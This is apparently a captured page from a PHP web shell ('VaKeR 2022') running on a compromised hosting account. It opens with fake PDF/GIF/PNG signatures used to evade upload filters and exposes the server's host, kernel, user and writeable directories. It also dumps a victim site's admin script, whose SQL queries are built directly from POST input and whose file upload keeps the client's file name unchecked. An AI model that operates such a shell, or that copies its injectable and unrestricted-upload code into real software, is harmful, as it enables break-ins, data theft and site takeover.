%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/admin/ourteamupdatedata.php
<?php
    include('../dbcon.php');
    
    $id = $_POST['sid'];
    $name = $_POST['name'];
    $designation = $_POST['designation'];
    $phone = $_POST['phone'];
    $email = $_POST['email'];
    $about = $_POST['about'];
    
    
    if(isset($_FILES['gallery']['name']) && !empty($_FILES['gallery']['name'])) {
        $galleryname = $_FILES['gallery']['name'];
        $tempname = $_FILES['gallery']['tmp_name'];
        move_uploaded_file($tempname, "./dataimg/$galleryname");

        $qry="UPDATE `ourteam` SET `image_gallery` = '$galleryname', `name` = '$name', `designation` = '$designation', `email` = '$email',   `about` = '$about' WHERE `id` = $id";
    } else {
        
        $qry="UPDATE `ourteam` SET `name` = '$name', `designation` = '$designation',  `email` = '$email',   `about` = '$about' WHERE `id` = $id";
    }
    
    $run=mysqli_query($conn,$qry);
    if($run==true)
    {
        ?>
        <!-- <div class="alert alert-success">
    <strong>Success!</strong> Data Update Successfully.
  </div> -->
        <script>
        alert('Data Update Successfully');
        window.open('ourteamshow.php?sid=<?php echo $id;?>','_self');
        </script>
        <?php
    }
?>

VaKeR 2022